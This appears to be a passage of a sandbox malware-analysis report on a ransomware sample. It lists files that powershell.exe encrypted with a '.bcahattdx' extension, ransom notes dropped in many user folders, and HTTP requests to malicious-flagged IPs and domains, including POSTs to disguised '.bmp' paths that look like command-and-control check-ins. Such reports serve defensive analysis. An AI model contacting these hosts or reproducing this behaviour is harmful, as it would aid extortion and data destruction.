672 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-1302019708-1500728564-335382590-1000\a551dda6b1d5ee0d0c4637af6c004413_90059c37-1320-41a4-b58d-2b75a9850d2f ––
672 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-1302019708-1500728564-335382590-1000\7be1242ebc44e45985bd1ffa382e997c_90059c37-1320-41a4-b58d-2b75a9850d2f ––
672 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-1302019708-1500728564-335382590-1000\1f91d2d17ea675d4c2c3192e241743f9_90059c37-1320-41a4-b58d-2b75a9850d2f ––
672 powershell.exe C:\Users\admin\AppData\Roaming\Identities\BCAHATTDX-DECRYPT.txt text
672 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-1302019708-1500728564-335382590-1000\BCAHATTDX-DECRYPT.txt text
672 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Credentials\BCAHATTDX-DECRYPT.txt text
672 powershell.exe C:\Users\admin\AppData\Roaming\Identities\{E4CE17A7-FC47-4CD1-8FF6-45436C8F45DB}\BCAHATTDX-DECRYPT.txt text
672 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Crypto\BCAHATTDX-DECRYPT.txt text
672 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-1302019708-1500728564-335382590-1000\0f5007522459c86e95ffcc62f32308f1_90059c37-1320-41a4-b58d-2b75a9850d2f.bcahattdx binary
672 powershell.exe C:\Users\admin\AppData\Roaming\Media Center Programs\BCAHATTDX-DECRYPT.txt text
672 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Crypto\RSA\BCAHATTDX-DECRYPT.txt text
672 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\AddIns\BCAHATTDX-DECRYPT.txt text
672 powershell.exe C:\Users\admin\AppData\Roaming\FileZilla\queue.sqlite3.bcahattdx binary
672 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\BCAHATTDX-DECRYPT.txt text
672 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-1302019708-1500728564-335382590-1000\0f5007522459c86e95ffcc62f32308f1_90059c37-1320-41a4-b58d-2b75a9850d2f ––
672 powershell.exe C:\Users\admin\AppData\Roaming\FileZilla\queue.sqlite3 ––
672 powershell.exe C:\Users\admin\AppData\Roaming\FileZilla\filezilla.xml.bcahattdx binary
672 powershell.exe C:\Users\admin\AppData\Roaming\Adobe\Sonar\Sonar1.0\sonar_policy.xml.bcahattdx binary
672 powershell.exe C:\Users\admin\AppData\Roaming\FileZilla\BCAHATTDX-DECRYPT.txt text
672 powershell.exe C:\Users\admin\AppData\Roaming\FileZilla\layout.xml.bcahattdx binary
672 powershell.exe C:\Users\admin\AppData\Roaming\FileZilla\layout.xml ––
672 powershell.exe C:\Users\admin\AppData\Roaming\FileZilla\filezilla.xml ––
672 powershell.exe C:\Users\admin\AppData\Roaming\Adobe\Sonar\Sonar1.0\sonar_policy.xml ––
672 powershell.exe C:\Users\admin\AppData\Roaming\Adobe\Sonar\Sonar1.0\BCAHATTDX-DECRYPT.txt text
672 powershell.exe C:\Users\admin\AppData\Roaming\Adobe\LogTransport2\LogTransport2.cfg.bcahattdx binary
672 powershell.exe C:\Users\admin\AppData\Roaming\Adobe\Sonar\BCAHATTDX-DECRYPT.txt text
672 powershell.exe C:\Users\admin\AppData\Roaming\Adobe\LogTransport2\Logs\ulog_HeadlightsOptinProductFamily_HeadlightsOptinProduct_00000000-0000-0000-0000-000000000000_dc2ece58-8a8b-40bf-98c2-48039a3392bd.log.bcahattdx binary
672 powershell.exe C:\Users\admin\AppData\Roaming\Adobe\LogTransport2\LogTransport2.cfg ––
672 powershell.exe C:\Users\admin\AppData\Roaming\Adobe\LogTransport2\Logs\ulog_HeadlightsOptinProductFamily_HeadlightsOptinProduct_00000000-0000-0000-0000-000000000000_dc2ece58-8a8b-40bf-98c2-48039a3392bd.log ––
672 powershell.exe C:\Users\admin\AppData\Roaming\Adobe\Flash Player\NativeCache\BCAHATTDX-DECRYPT.txt text
672 powershell.exe C:\Users\admin\AppData\Roaming\Adobe\Linguistics\BCAHATTDX-DECRYPT.txt text
672 powershell.exe C:\Users\admin\AppData\Roaming\Adobe\LogTransport2\Logs\BCAHATTDX-DECRYPT.txt text
672 powershell.exe C:\Users\admin\AppData\Roaming\Adobe\Flash Player\AssetCache\J7D4H966\BCAHATTDX-DECRYPT.txt text
672 powershell.exe C:\Users\admin\AppData\Roaming\Adobe\LogTransport2\Logs\ulog_AcroARM2_ARM2Update_2274f67c-7a7f-45e3-a23e-aa35d5b91e00_fea03e67-af51-4fcb-b57f-c238867edb9b_0.log.bcahattdx binary
672 powershell.exe C:\Users\admin\AppData\Roaming\Adobe\Headlights\BCAHATTDX-DECRYPT.txt text
672 powershell.exe C:\Users\admin\AppData\Roaming\Adobe\LogTransport2\BCAHATTDX-DECRYPT.txt text
672 powershell.exe C:\Users\admin\AppData\Roaming\Adobe\LogTransport2\Logs\ulog_AcroARM2_Reader_2274f67c-7a7f-45e3-a23e-aa35d5b91e00_02f147fa-0489-4885-b993-ed9936fcacc0_0.rdy.bcahattdx binary
672 powershell.exe C:\Users\admin\AppData\Roaming\Adobe\LogTransport2\Logs\ulog_AcroARM2_Reader_2274f67c-7a7f-45e3-a23e-aa35d5b91e00_02f147fa-0489-4885-b993-ed9936fcacc0_0.rdy ––
672 powershell.exe C:\Users\admin\AppData\Roaming\Adobe\LogTransport2\Logs\ulog_AcroARM2_ARM2Update_2274f67c-7a7f-45e3-a23e-aa35d5b91e00_fea03e67-af51-4fcb-b57f-c238867edb9b_0.log ––
672 powershell.exe C:\Users\admin\AppData\Roaming\Adobe\Flash Player\BCAHATTDX-DECRYPT.txt text
672 powershell.exe C:\Users\admin\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\CE338828149963DCEA4CD26BB86F0363B4CA0BA5.crl.bcahattdx binary
672 powershell.exe C:\Users\admin\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\BCAHATTDX-DECRYPT.txt text
672 powershell.exe C:\Users\admin\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\0FDED5CEB68C302B1CDB2BDDD9D0000E76539CB0.crl.bcahattdx binary
672 powershell.exe C:\Users\admin\AppData\Roaming\Adobe\Flash Player\AssetCache\BCAHATTDX-DECRYPT.txt text
672 powershell.exe C:\Users\admin\AppData\Roaming\Adobe\Acrobat\DC\Security\addressbook.acrodata.bcahattdx binary
672 powershell.exe C:\Users\admin\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\CE338828149963DCEA4CD26BB86F0363B4CA0BA5.crl ––
672 powershell.exe C:\Users\admin\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\0FDED5CEB68C302B1CDB2BDDD9D0000E76539CB0.crl ––
672 powershell.exe C:\Users\admin\AppData\Roaming\Adobe\Acrobat\DC\Security\addressbook.acrodata ––
672 powershell.exe C:\Users\admin\AppData\Roaming\Adobe\Acrobat\DC\Security\BCAHATTDX-DECRYPT.txt text
672 powershell.exe C:\Users\admin\AppData\Roaming\Adobe\Acrobat\DC\JSCache\GlobData.bcahattdx binary
672 powershell.exe C:\Users\admin\AppData\Roaming\Adobe\Acrobat\DC\Collab\BCAHATTDX-DECRYPT.txt text
672 powershell.exe C:\Users\admin\AppData\Roaming\Adobe\Acrobat\DC\JSCache\BCAHATTDX-DECRYPT.txt text
672 powershell.exe C:\Users\admin\AppData\Roaming\Adobe\Acrobat\DC\JSCache\GlobSettings.bcahattdx binary
672 powershell.exe C:\Users\admin\AppData\Roaming\Adobe\Acrobat\DC\Forms\BCAHATTDX-DECRYPT.txt text
672 powershell.exe C:\Users\admin\AppData\Roaming\Adobe\Acrobat\DC\JSCache\GlobSettings ––
672 powershell.exe C:\Users\admin\AppData\Roaming\Adobe\Acrobat\DC\JSCache\GlobData ––
672 powershell.exe C:\Users\admin\AppData\Roaming\Adobe\BCAHATTDX-DECRYPT.txt text
672 powershell.exe C:\Users\admin\AppData\Roaming\Adobe\Acrobat\BCAHATTDX-DECRYPT.txt text
672 powershell.exe C:\Users\admin\.oracle_jre_usage\90737d32e3abaa4.timestamp.bcahattdx binary
672 powershell.exe C:\Users\admin\AppData\Roaming\Adobe\Acrobat\DC\BCAHATTDX-DECRYPT.txt text
672 powershell.exe C:\Users\admin\AppData\Roaming\BCAHATTDX-DECRYPT.txt text
672 powershell.exe C:\Users\admin\AppData\BCAHATTDX-DECRYPT.txt text
672 powershell.exe C:\Users\admin\.oracle_jre_usage\90737d32e3abaa4.timestamp ––
672 powershell.exe C:\Users\admin\BCAHATTDX-DECRYPT.txt text
672 powershell.exe C:\Users\admin\.oracle_jre_usage\BCAHATTDX-DECRYPT.txt text
672 powershell.exe C:\$Recycle.Bin\S-1-5-21-1302019708-1500728564-335382590-1000\BCAHATTDX-DECRYPT.txt text
672 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF182f0a.TMP binary
672 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms binary
672 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\3GIYTCWY3I4ZMGHR936J.temp ––

Find more information of the staic content and download it at the full report

Network activity

HTTP(S) requests
145
TCP/UDP connections
252
DNS requests
112
Threats
54

HTTP requests

PID Process Method HTTP Code IP URL CN Type Size Reputation
672 powershell.exe GET 200 198.211.105.99:80 http://198.211.105.99/kasa US
text
malicious
672 powershell.exe GET –– 78.46.77.98:80 http://www.2mmotorsport.biz/ DE
––
––
unknown
672 powershell.exe GET –– 217.26.53.161:80 http://www.haargenau.biz/ CH
––
––
malicious
672 powershell.exe POST 404 217.26.53.161:80 http://www.haargenau.biz/static/pics/sezuames.bmp CH
text
html
malicious
672 powershell.exe GET 200 74.220.215.73:80 http://www.bizziniinfissi.com/ US
html
malicious
672 powershell.exe POST 404 74.220.215.73:80 http://www.bizziniinfissi.com/content/graphic/zuimdaeska.bmp US
text
html
malicious
672 powershell.exe GET 200 136.243.13.215:80 http://www.holzbock.biz/ DE
html
malicious
672 powershell.exe POST 510 136.243.13.215:80 http://www.holzbock.biz/uploads/tmp/soesimam.bmp DE
text
html
malicious
672 powershell.exe GET 301 109.234.38.95:80 http://www.fliptray.biz/ RU
html
suspicious